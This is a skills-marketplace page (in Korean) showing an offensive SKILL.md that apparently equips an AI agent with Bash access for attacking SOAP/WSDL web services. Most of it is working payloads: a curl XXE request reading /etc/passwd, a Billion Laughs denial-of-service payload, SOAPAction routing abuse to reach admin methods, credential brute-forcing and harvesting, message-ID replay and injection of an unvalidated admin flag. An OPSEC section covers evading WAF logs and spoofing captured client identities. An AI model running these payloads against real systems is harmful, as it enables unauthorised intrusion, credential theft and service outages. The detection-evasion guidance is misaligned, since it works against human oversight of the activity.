Skip to main content

api-soap-wsdl

SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 5월 26일 09:25
감지된 SKILL.md 언어
영어
스타
5,565
포크
1,053

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
api-soap-wsdl
description
SOAP / WSDL exploitation — WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws","subdomain":"api","tags":"soap, wsdl, xml, ws-security","mitre_attack":"T1190, T1203"}
# SOAP / WSDL Attack Surface Legacy enterprise integrations still ship SOAP — payment processors, ERP middleware, government APIs, Java EE bus systems. ## Discovery ```bash # WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - curl -sk "https://target/Service.svc?wsdl" | xmllint --format - # Generate a client from the WSDL python -m zeep https://target/Service.asmx?wsdl # OR wsdl2java -uri https://target/Service.asmx?wsdl ``` ## Quick attack catalog ### XXE in SOAP envelope ```bash curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ -d '<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body> </soap:Envelope>' https://target/Service.asmx ``` ### WS-Security UsernameToken brute / clear-text leak The `<wsse:UsernameToken>` often carries `<wsse:Password>` in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds: ```bash # WSPolicy may demand: Type="...#PasswordText" curl -sk -X POST -d @ws-attack.xml https://target/svc # Brute: cycle a username dict, observe response time/error class ``` ### WS-Addressing replay SOAP responses often include `<wsa:RelatesTo>` referencing the request `<wsa:MessageID>`. Some servers don't validate freshness: ```xml <wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID> ``` ### SAML in WS-Trust / SAML EncryptedAssertion WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) — see the SAML skill for full XSW patterns. ### Schema validation bypass Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser: ```xml <soap:Body> <tns:Method> <tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored --> <tns:arg>value</tns:arg> </tns:Method> </soap:Body> ``` ### XML Bomb / Billion Laughs DoS ```xml <!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]> <x>&c;&c;&c;</x> ``` ### SOAPAction routing confusion .NET ASMX picks the method by `SOAPAction` header, not body. Mismatch → call methods you shouldn't be able to: ```bash curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \ https://target/Service.asmx ``` ## Tooling ```bash # SoapUI free / Postman SOAP — interactive probing soapui --gui # or non-GUI: testrunner.sh # Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping # python zeep — programmatic SOAP client (good for automation) python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))" ``` ## OPSEC - WS-Addressing `<wsa:MessageID>` is logged in many WAFs — randomize per-request. - WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests. - SOAP fault messages leak stack traces — note them, but limit to one trigger per scan to avoid rate-limit alerts. ## References - WS-Attacks.org — XSW, XXE, WS-Security variants catalog - OWASP "Testing for Web Services" — chapter on SOAP/WSDL - "Hacking SOAP" — Pauldotcom episode (older but still 100% applicable) - Burp extension: SAML Raider
GitHub에서 보기